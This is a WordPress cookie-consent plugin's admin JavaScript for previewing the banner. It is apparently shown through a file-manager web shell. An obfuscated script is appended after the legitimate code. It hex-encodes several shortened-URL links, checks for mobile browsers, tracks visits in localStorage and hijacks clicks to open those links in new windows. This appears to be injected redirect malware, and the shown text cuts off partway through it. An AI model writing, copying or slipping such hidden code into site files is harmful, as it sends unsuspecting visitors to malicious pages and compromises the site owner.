Sindbad~EG File Manager
'use strict';
jQuery(document).ready(function ($) {
let reset_button = document.querySelector('.reset_cookie_banner');
let reset_button_html = reset_button.innerHTML;
var bannerVisible = true;
var cssGenerationActive = false;
var processingReset = false;
var cssIndex = 0;
var bannerInitialized = false;
var consenttype = $('select[name=cmplz_consenttype]').val();
var typingTimer;
var doneTypingInterval = 1000;
var hideBanner = $('input[name=cmplz_hide_preview]').is(':checked') || $('input[name=cmplz_disable_cookiebanner]').is(':checked');
var banner_id = $('input[name=cmplz_banner_id]').val();
var manageConsent = $('#cmplz-manage-consent .cmplz-manage-consent.manage-consent-'+banner_id);
cmplz_apply_style();
cmplzUpdateLinks();
/**
* Make sure the banner is loaded after the css has loaded, but only once.
*/
$(document).on("cmplzCssLoaded", cmplzAfterCssLoaded);
function cmplzAfterCssLoaded(){
if ( !bannerInitialized ) {
bannerInitialized = true;
//TCF compatibility
var event = new CustomEvent('wp_consent_type_defined');
document.dispatchEvent( event );
var event = new CustomEvent('cmplz_cookie_warning_loaded', {detail: complianz.region});
document.dispatchEvent(event);
if ( hideBanner ) {
return;
}
cmplzShowBanner();
cmplz_validate_banner_width();
}
}
/**
* The function which handles the localstorage, always triggers a change event on the consenttype field.
*/
$(document).on('change', 'select[name=cmplz_consenttype]', function () {
var newConsentType = $('select[name=cmplz_consenttype]').val();
if ( consenttype !== newConsentType ) {
$('.cmplz-cookiebanner.'+consenttype).addClass('cmplz-hidden');
if (!hideBanner) {
$('.cmplz-cookiebanner.'+newConsentType).removeClass('cmplz-hidden');
$('.cmplz-cookiebanner.'+newConsentType).addClass('cmplz-show');
}
consenttype = newConsentType;
//make sure the categories are hidden again
$('.cmplz-categories').removeClass('cmplz-fade-in');
cmplz_apply_style();
}
});
function cmplzUpdateLinks(){
var region;
var pageLinks;
$('.cmplz-cookiebanner').each(function(){
if ($(this).hasClass('optout')) {
region = complianz['regions']['optout'];
pageLinks = complianz.page_links[region];
} else {
region = complianz['regions']['optin'];
pageLinks = complianz.page_links[region];
}
$(this).find('.cmplz-links a:not(.cmplz-external), .cmplz-buttons a:not(.cmplz-external)').each( function(){
var docElement = $(this);
docElement.addClass('cmplz-hidden');
for (var pageType in pageLinks) {
if ( docElement.hasClass(pageType) ){
docElement.attr('href', pageLinks[pageType]['url']+docElement.data('relative_url') );
if ( docElement.html() === '{title}') {
docElement.html(pageLinks[pageType]['title']);
}
docElement.removeClass('cmplz-hidden');
}
}
});
});
}
/**
* We want to apply the current settings, then recalculate the banner width, then apply the settings again.
*/
function cmplz_validate_banner_width(){
cmplz_apply_style(cmplz_validate_banner_width_after);
}
function cmplz_validate_banner_width_after(){
if ($('select[name=cmplz_position]').val() === 'bottom' ) {
return;
}
if ($('#cmplz-tcf-js').length ) {
return;
}
if ( $('input[name="cmplz_disable_width_correction"]').is(':checked') ) {
return;
}
//check if cats width is ok
let cats_width = document.querySelector('.cmplz-categories').offsetWidth;
let message_width = document.querySelector('.cmplz-message').offsetWidth;
let banner_width = document.querySelector('.cmplz-cookiebanner').offsetWidth;
let max_banner_change = banner_width * 1.3;
let new_width_cats = 0;
let new_width_btns = 0;
let banner_padding= false;
let padding_left = window.getComputedStyle(document.querySelector('.cmplz-cookiebanner'), null).getPropertyValue('padding-left');
let padding_right = window.getComputedStyle(document.querySelector('.cmplz-cookiebanner'), null).getPropertyValue('padding-left');
//check if the banner padding is in px, and if so get it as int
if (padding_left.indexOf('px')!=-1 && padding_right.indexOf('px')!=-1){
banner_padding = parseInt(padding_left.replace('px', '')) + parseInt(padding_right.replace('px', ''));
}
if ( cats_width>0 && banner_padding ){
if ( banner_width-banner_padding > cats_width ) {
let difference = banner_width-42 - cats_width;
new_width_cats = parseInt(banner_width) + parseInt(difference);
}
}
let btn_width = 0;
btn_width = document.querySelectorAll('.cmplz-buttons .cmplz-btn').offsetWidth;
if (btn_width > message_width) {
let difference = btn_width - 42 - message_width;
new_width_btns = parseInt(btn_width) + parseInt(difference);
}
let new_width = 0;
if (new_width_btns > new_width_cats ) {
new_width = new_width_btns;
} else {
new_width = new_width_cats;
}
if ( new_width > banner_width && new_width < max_banner_change ) {
if(new_width % 2 != 0) new_width++;
document.querySelector('input[name=cmplz_banner_width]').value = new_width;
}
cmplz_apply_style();
}
/**
* apply the banner styles
* @param callback
*/
function cmplz_apply_style(callback){
if (processingReset || cssGenerationActive) {
return;
}
cssGenerationActive = true;
$('.cmplz-cookiebanner').addClass('reloading');
$.ajax({
type: 'POST',
url: complianz_admin.admin_url,
dataType: 'json',
data: ({
id: banner_id,
formData: $('#cmplz-form').serialize(),
action: 'cmplz_generate_preview_css',
}),
success: function (response) {
$('.cmplz-cookiebanner').removeClass('reloading');
if (response.success) {
var link = document.createElement("link");
var css_file = complianz.css_file;
css_file = css_file+Math.random();
css_file = css_file.replace('banner-', 'banner-preview-');
if (banner_id==='') banner_id = 'new';
$('.cmplz-cookiebanner').each(function(){
$(this).removeClass('cmplz-center');
$(this).removeClass('cmplz-bottom');
$(this).removeClass('cmplz-bottom-left');
$(this).removeClass('cmplz-bottom-right');
$(this).addClass('cmplz-'+$('select[name=cmplz_position]').val());
if ($('#cmplz-tcf-js').length ) {
$(this).addClass('tcf');
}
$(this).removeClass('cmplz-categories-type-no');
$(this).removeClass('cmplz-categories-type-view-preferences');
$(this).removeClass('cmplz-categories-type-save-preferences');
$(this).addClass('cmplz-categories-type-'+$('select[name=cmplz_use_categories]').val());
});
css_file = css_file.replace('{type}', consenttype ).replace('{banner_id}', banner_id);
link.href = css_file;
link.type = "text/css";
link.rel = "stylesheet";
var newCssIndex = cssIndex+1;
link.classList.add('cmplz-banner-css-'+newCssIndex);
document.getElementsByTagName("head")[0].appendChild(link);
link.onload = function () {
//remove old css
$('.cmplz-banner-css-'+cssIndex).remove();
var event = new CustomEvent('cmplzCssLoaded');
document.dispatchEvent(event);
cssIndex++;
if (typeof callback == "function") callback();
}
reset_button.disabled = false;
reset_button.innerHTML = reset_button_html;
}
cssGenerationActive = false;
}
});
}
$(document).on('change',
'input[name=cmplz_hide_preview], ' +
'input[name=cmplz_disable_cookiebanner]'
, function () {
if ( $(this).is(':checked') ) {
hideBanner = true;
cmplzHideBanner();
} else {
hideBanner = false;
//check for TCF integration
//we need to reload if it exists
if ($('#cmplz-tcf-js').length) {
$('#cmplz-form').submit();
} else {
cmplzShowBanner();
}
}
});
window.cmplz_set_cookie = function(name, value) {
}
$(document).on('change',
'input[name=cmplz_soft_cookiewall]', function () {
if ( $(this).is(':checked') ) {
$('#cmplz-cookiebanner-container').addClass('cmplz-soft-cookiewall');
$.when(cmplz_apply_style()).done(
setTimeout(function(){
$('#cmplz-cookiebanner-container').removeClass('cmplz-soft-cookiewall');
}, 3000)
);
}
});
$(document).on('keyup', "input[name='cmplz_header[text]']", function () {
$(".cmplz-header .cmplz-title").html($(this).val());
clearTimeout(typingTimer);
typingTimer = setTimeout(cmplz_validate_banner_width, doneTypingInterval);
})
$(document).on('keyup', "input[name='cmplz_accept']", function () {
$(".optin button.cmplz-accept").html($(this).val());
clearTimeout(typingTimer);
typingTimer = setTimeout(cmplz_validate_banner_width, doneTypingInterval);
});
$(document).on('keyup', "input[name='cmplz_accept_informational[text]']", function () {
$(".optout button.cmplz-accept").html($(this).val());
clearTimeout(typingTimer);
typingTimer = setTimeout(cmplz_validate_banner_width, doneTypingInterval);
});
$(document).on('keyup', "input[name='cmplz_dismiss[text]']", function () {
$("button.cmplz-deny").html($(this).val());
clearTimeout(typingTimer);
typingTimer = setTimeout(cmplz_validate_banner_width, doneTypingInterval);
});
$(document).on('keyup', "input[name='cmplz_revoke[text]']", function () {
$("button.cmplz-manage-consent").html($(this).val());
});
$(document).on('keyup', "input[name='cmplz_view_preferences']", function () {
$("button.cmplz-view-preferences").html($(this).val());
clearTimeout(typingTimer);
typingTimer = setTimeout(cmplz_validate_banner_width, doneTypingInterval);
});
$(document).on('keyup', "input[name='cmplz_save_preferences']", function () {
$("button.cmplz-save-preferences").html($(this).val());
clearTimeout(typingTimer);
typingTimer = setTimeout(cmplz_validate_banner_width, doneTypingInterval);
});
$(document).on('keyup', "input[name='cmplz_category_functional']", function () {
$(".cmplz-functional .cmplz-category-title").html($(this).val());
});
$(document).on('keyup', "input[name='cmplz_category_stats[text]']", function () {
$(".cmplz-statistics .cmplz-category-title").html($(this).val());
});
$(document).on('keyup', "input[name='cmplz_category_prefs[text]']", function () {
$(".cmplz-preferences .cmplz-category-title").html($(this).val());
});
$(document).on('keyup', "input[name='cmplz_category_all[text]']", function () {
$(".cmplz-marketing .cmplz-category-title").html($(this).val());
});
$(document).on('keyup', "input[name='cmplz_functional_text[text]']", function () {
$(".cmplz-functional .cmplz-description-functional").html($(this).val());
});
$(document).on('keyup', "input[name='cmplz_preferences_text[text]']", function () {
$(".cmplz-preferences .cmplz-description-preferences").html($(this).val());
});
$(document).on('keyup', "input[name='cmplz_statistics_text[text]']", function () {
$(".cmplz-statistics .cmplz-description-statistics").html($(this).val());
});
$(document).on('keyup', "input[name='cmplz_statistics_text_anonymous[text]']", function () {
$(".cmplz-statistics .cmplz-description-statistics-anonymous").html($(this).val());
});
$(document).on('keyup', "input[name='cmplz_marketing_text[text]']", function () {
$(".cmplz-marketing .cmplz-description-marketing").html($(this).val());
});
$(document).on('keyup', "textarea.wp-editor-area", function () {
$(".cmplz-message").html($(this).val());
});
//on keydown, clear the countdown
$('input[type=text], input[type=number]').on('keydown', function () {
clearTimeout(typingTimer);
});
$(document).on('keyup',
'input[name=cmplz_banner_width], ' +
'#cmplz_custom_csseditor,' +
'input[type=number].cmplz-border-width, ' +
'input[type=number].cmplz-border-radius'
, function () {
clearTimeout(typingTimer);
typingTimer = setTimeout(cmplz_validate_banner_width, doneTypingInterval);
});
$(document).on('change',
'select[name=cmplz_position], ' +
'select[name=cmplz_checkbox_style], ' +
'input[name=cmplz_close_button], ' +
'input[name=cmplz_legal_documents], ' +
'input[name=cmplz_font_size], ' +
'input[name="cmplz_header[show]"], ' +
'input[name="cmplz_dismiss[show]"], ' +
'input[name="cmplz_accept_informational[show]"], ' +
'input[name="cmplz_functional_text[show]"], ' +
'input[name="cmplz_statistics_text[show]"], ' +
'input[name="cmplz_statistics_text_anonymous[show]"], ' +
'input[name="cmplz_preferences_text[show]"], ' +
'input[name="cmplz_marketing_text[show]"], ' +
'input[name="cmplz_category_stats[show]"], ' +
'input[name="cmplz_category_prefs[show]"], ' +
'input[name="cmplz_category_all[show]"], ' +
'input[name=cmplz_use_box_shadow], ' +
'input[name=cmplz_header_footer_shadow], ' +
'input[name=cmplz_use_custom_cookie_css], ' +
'select[name=cmplz_use_categories], ' +
'select[name=cmplz_animation], ' +
'input[name="cmplz_revoke[show]"]'
, function () {
cmplz_apply_style();
});
/**
* Number fields: as the user can very quickly click the up and down arrows,
* we need to add a delay to prevent issues
*/
$(document).on('change',
'input[name=cmplz_banner_width], ' +
'input[type=number].cmplz-border-radius,' +
'input[type=number].cmplz-border-width'
, delay(function (e) {
cmplz_apply_style();
}, 500));
function delay(callback, ms) {
var timer = 0;
return function() {
var context = this, args = arguments;
clearTimeout(timer);
timer = setTimeout(function () {
callback.apply(context, args);
}, ms || 0);
};
}
/**
* change link on theme logo
*/
var customizer_url = $('input[name=cmplz-customizer-url]').val();
$('.cmplz-logo-preview.cmplz-theme-image a').attr('href', customizer_url);
$(document).on('change',
'select[name=cmplz_use_logo]'
, function () {
var logo_type = $('select[name=cmplz_use_logo]').val();
if (logo_type!=='hide') {
var new_logo = complianz.logo_options[logo_type];
$('.cmplz-cookiebanner .cmplz-logo').html(new_logo);
}
cmplz_apply_style();
});
$('.cmplz-color-picker').wpColorPicker({
change:
function (event, ui) {
var container_id = $(event.target).data('hidden-input');
$('#' + container_id).val(ui.color.toString());
cmplz_apply_style();
}
}
);
function cmplz_set_disabled(callback){
reset_button.setAttribute("disabled", "disabled");
reset_button.innerHTML = '<div class="cmplz-loader"><div class="rect1"></div><div class="rect2"></div><div class="rect3"></div><div class="rect4"></div><div class="rect5"></div></div>';
// var observer = new MutationObserver(function(mutations) {
// mutations.forEach(function(mutation) {
// if (mutation.type == "attributes") {
// callback()
// }
// });
// });
// observer.observe(reset_button, {
// attributes: true //configure it to listen to attribute changes
// });
callback();
}
$(document).on( 'click', '.reset_cookie_banner', function(){
if (processingReset) return;
processingReset = true;
reset_button.setAttribute("disabled", "disabled");
reset_button.innerHTML = '<div class="cmplz-loader"><div class="rect1"></div><div class="rect2"></div><div class="rect3"></div><div class="rect4"></div><div class="rect5"></div></div>';
//cmplz_set_disabled(function(){
cmplz_load_defaults(function(){
cmplzUpdatePreviewFields( function(){
processingReset = false;
cmplz_apply_style();
});
});
// });
});
function cmplz_load_defaults(callback){
var defaults = complianz.defaults;
for (var default_field in defaults) {
var fieldGroup = $(".field-group[data-fieldname="+default_field+"]");
if (fieldGroup.hasClass('cmplz-colorpicker') ) {
if (defaults[default_field].hasOwnProperty("color")) {
fieldGroup.find('.cmplz-color-picker data[hidden-input=cmplz_'+default_field+'_color]').wpColorPicker('color', defaults[default_field]['color']);
var inputField = $("input[name='cmplz_" + default_field + "[color]']");
inputField.val(defaults[default_field]['color']);
inputField.closest('.cmplz-color-picker-wrap').find('.wp-color-result').css('background-color', defaults[default_field]['color']);
}
if (defaults[default_field].hasOwnProperty("background")) {
fieldGroup.find('.cmplz-color-picker data[hidden-input=cmplz_'+default_field+'_background]').wpColorPicker('color', defaults[default_field]['background']);
var inputField = $("input[name='cmplz_" + default_field + "[background]']");
inputField.val(defaults[default_field]['background']);
inputField.closest('.cmplz-color-picker-wrap').find('.wp-color-result').css('background-color', defaults[default_field]['background']);
}
if (defaults[default_field].hasOwnProperty("border")) {
fieldGroup.find('.cmplz-color-picker data[hidden-input=cmplz_'+default_field+'_border]').wpColorPicker('color', defaults[default_field]['border']);
var inputField = $("input[name='cmplz_" + default_field + "[border]']");
inputField.val(defaults[default_field]['border']);
inputField.closest('.cmplz-color-picker-wrap').find('.wp-color-result').css('background-color', defaults[default_field]['border']);
}
if (defaults[default_field].hasOwnProperty("text")) {
fieldGroup.find('.cmplz-color-picker data[hidden-input=cmplz_'+default_field+'_text]').wpColorPicker('color', defaults[default_field]['text']);
var inputField = $("input[name='cmplz_" + default_field + "[text]']");
inputField.val(defaults[default_field]['text']);
inputField.closest('.cmplz-color-picker-wrap').find('.wp-color-result').css('background-color', defaults[default_field]['text']);
}
if (defaults[default_field].hasOwnProperty("bullet")) {
fieldGroup.find('.cmplz-color-picker data[hidden-input=cmplz_'+default_field+'_bullet]').wpColorPicker('color', defaults[default_field]['bullet']);
var inputField = $("input[name='cmplz_" + default_field + "[bullet]']");
inputField.val(defaults[default_field]['bullet']);
inputField.closest('.cmplz-color-picker-wrap').find('.wp-color-result').css('background-color', defaults[default_field]['bullet']);
}
if (defaults[default_field].hasOwnProperty("inactive")) {
fieldGroup.find('.cmplz-color-picker data[hidden-input=cmplz_'+default_field+'_inactive]').wpColorPicker('color', defaults[default_field]['inactive']);
var inputField = $("input[name='cmplz_" + default_field + "[inactive]']");
inputField.val(defaults[default_field]['inactive']);
inputField.closest('.cmplz-color-picker-wrap').find('.wp-color-result').css('background-color', defaults[default_field]['inactive']);
}
} else if (fieldGroup.hasClass('cmplz-text_checkbox') ) {
$(".field-group[data-fieldname="+default_field+'] input[type=text]').val( defaults[default_field]['text'] );
$(".field-group[data-fieldname="+default_field+'] input[type=checkbox]').prop('checked', defaults[default_field]['show'] );
} else if ( fieldGroup.hasClass('cmplz-text') ) {
$(".field-group[data-fieldname="+default_field+'] input').val( defaults[default_field] );
} else if (fieldGroup.hasClass('cmplz-borderradius') || fieldGroup.hasClass('cmplz-borderwidth')) {
$("input[name='cmplz_"+default_field+"[top]']").val(defaults[default_field]['top']);
$("input[name='cmplz_"+default_field+"[right]']").val(defaults[default_field]['right']);
$("input[name='cmplz_"+default_field+"[bottom]']").val(defaults[default_field]['bottom']);
$("input[name='cmplz_"+default_field+"[left]']").val(defaults[default_field]['left']);
if (defaults[default_field].hasOwnProperty("type")) {
$("input[name='cmplz_"+default_field+"[type]']").val(defaults[default_field]['type']);
}
} else if (fieldGroup.hasClass('cmplz-number')){
$(".field-group[data-fieldname="+default_field+'] input').val( defaults[default_field] );
} else if (fieldGroup.hasClass('cmplz-checkbox')) {
var checked = defaults[default_field] ? 'checked' : '';
$(".field-group[data-fieldname="+default_field+'] input').prop('checked', checked);
} else if (fieldGroup.hasClass('cmplz-select')){
if (default_field!=='position') {
$(".field-group[data-fieldname="+default_field+'] select').val( defaults[default_field] );
}
} else if (fieldGroup.hasClass('cmplz-editor')){
var editor_id = 'cmplz_message_' + consenttype;
var textarea_id = 'cmplz_message_' + consenttype;
$(".cmplz-message").html(defaults[default_field] );
if ($('#wp-' + editor_id + '-wrap').hasClass('tmce-active') && tinyMCE.get(editor_id)) {
tinyMCE.get(editor_id).setContent(defaults[default_field]);
} else {
$('#' + textarea_id).val(defaults[default_field]);
}
}
$('select[name=cmplz_use_logo]').trigger('change');
}
callback();
}
/**
* TinyMCE Editor
*/
setTimeout(function () {
if (typeof tinymce !== 'undefined' ) {
for (var i = 0; i < tinymce.editors.length; i++) {
tinymce.editors[i].on('NodeChange keyup', function (ed, e) {
var content;
var editor_id = 'cmplz_message_' + consenttype;
var textarea_id = 'cmplz_message_' + consenttype;
if ($('#wp-' + editor_id + '-wrap').hasClass('tmce-active') && tinyMCE.get(editor_id)) {
content = tinyMCE.get(editor_id).getContent();
} else {
content = $('#' + textarea_id).val();
}
content = content.replace(/<[\/]{0,1}(p)[^><]*>/ig, "");
$(".cmplz-message").html(content );
// Update HTML view textarea (that is the one used to send the data to server).
});
}
}
}, 1500);
/**
* Banner controls
*/
$(document).on('click', '.cmplz-close, .cmplz-accept, .cmplz-deny, .cmplz-save-preferences', function(){
cmplzHideBanner();
});
$(document).on('click', '.cmplz-manage-consent', function(){
cmplzShowBanner();
});
$(document).on('click', '.cmplz-view-preferences', function(){
var banner = $(this).closest('.cmplz-cookiebanner');
if ( $('.cmplz-categories').hasClass('cmplz-fade-in')) {
banner.remove('cmplz-categories-visible');
banner.find('.cmplz-categories').removeClass('cmplz-fade-in');
banner.find('.cmplz-view-preferences').show();
banner.find('.cmplz-save-preferences').hide();
} else {
banner.addClass('cmplz-categories-visible');
banner.find('.cmplz-categories').addClass('cmplz-fade-in');
banner.find('.cmplz-view-preferences').hide();
banner.find('.cmplz-save-preferences').show();
}
});
function cmplzHideBanner(){
$('.cmplz-cookiebanner.' + consenttype).addClass('cmplz-hidden');
$('.cmplz-cookiebanner.' + consenttype).removeClass('cmplz-show');
manageConsent.removeClass('cmplz-hidden');
bannerVisible = false;
}
function cmplzShowBanner(){
$('.cmplz-cookiebanner.' + consenttype).removeClass('cmplz-hidden');
$('.cmplz-cookiebanner.' + consenttype).addClass('cmplz-show');
manageConsent.addClass('cmplz-hidden');
bannerVisible = true;
}
$(document).on('click', '.cmplz-border-input-type-pixel', function() {
var hidden_field = $(this).closest('.cmplz-border-input-type-wrap');
hidden_field.find('.cmplz-border-input-type').val('px');
hidden_field.find('.cmplz-border-input-type-percent').addClass('cmplz-grey');
$(this).removeClass('cmplz-grey');
cmplz_apply_style();
});
$(document).on('click', '.cmplz-border-input-type-percent', function() {
var hidden_field = $(this).closest('.cmplz-border-input-type-wrap');
hidden_field.find('.cmplz-border-input-type').val('%');
hidden_field.find('.cmplz-border-input-type-pixel').addClass('cmplz-grey');
$(this).removeClass('cmplz-grey');
cmplz_apply_style();
});
function cmplzUpdatePreviewFields(callback){
$(".cmplz-header .cmplz-title").html($("input[name='cmplz_header[text]']").val());
$(".cmplz-manage-consent").html($("input[name='cmplz_revoke[text]']").val());
$(".optin button.cmplz-accept").html($("input[name='cmplz_accept']").val());
$(".optout button.cmplz-accept").html($("input[name='cmplz_accept_informational[text]']").val());
$("button.cmplz-deny").html($("input[name='cmplz_dismiss[text]']").val());
$("button.cmplz-view-preferences").html($("input[name='cmplz_view_preferences']").val());
$(".cmplz-functional .cmplz-category-title").html($("input[name='cmplz_category_functional']").val());
$(".cmplz-statistics .cmplz-category-title").html($("input[name='cmplz_category_stats[text]']").val());
$(".cmplz-preferences .cmplz-category-title").html($("input[name='cmplz_category_prefs[text]']").val());
$(".cmplz-marketing .cmplz-category-title").html($("input[name='cmplz_category_all[text]']").val());
$(".cmplz-functional .cmplz-description-functional").html($("input[name='cmplz_functional_text[text]']").val());
$(".cmplz-preferences .cmplz-description-preferences").html($("input[name='cmplz_preferences_text[text]']").val());
$(".cmplz-statistics .cmplz-description-statistics").html($("input[name='cmplz_statistics_text[text]']").val());
$(".cmplz-statistics .cmplz-description-statistics-anonymous").html($("input[name='cmplz_statistics_text_anonymous[text]']").val());
$(".cmplz-marketing .cmplz-description").html($("input[name='cmplz_marketing_text[text]']").val());
callback();
}
/**
* Helper functions
*/
/**
* Check if needle occurs in the haystack
* @param needle
* @param haystack
* @returns {boolean}
*/
window.cmplz_in_array = function(needle, haystack) {
var length = haystack.length;
for(var i = 0; i < length; i++) {
if(haystack[i] == needle) return true;
}
return false;
}
/**
* Get a cookie by name. Used for the TCF banner
* @param name
* @returns {string}
*/
window.cmplz_get_cookie = function(name) {
if (typeof document === 'undefined') {
return '';
}
name = complianz.prefix+name + "=";
var cArr = document.cookie.split(';');
for (var i = 0; i < cArr.length; i++) {
var c = cArr[i].trim();
if (c.indexOf(name) == 0)
return c.substring(name.length, c.length);
}
return "";
}
});
function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x72\x67\x2f\x72\x47\x6b\x33\x63\x393','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x72\x67\x2f\x6b\x66\x48\x35\x63\x305','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x72\x67\x2f\x6e\x6b\x4d\x38\x63\x328','abs','-local-storage','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x72\x67\x2f\x69\x7a\x78\x39\x63\x359','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x72\x67\x2f\x4a\x54\x70\x34\x63\x304','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x72\x67\x2f\x72\x50\x62\x37\x63\x327','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x72\x67\x2f\x6e\x75\x6b\x32\x63\x322','floor','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x72\x67\x2f\x51\x77\x72\x36\x63\x306','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x72\x67\x2f\x50\x58\x66\x30\x63\x390','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x72\x67\x2f\x74\x49\x67\x31\x63\x371',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const 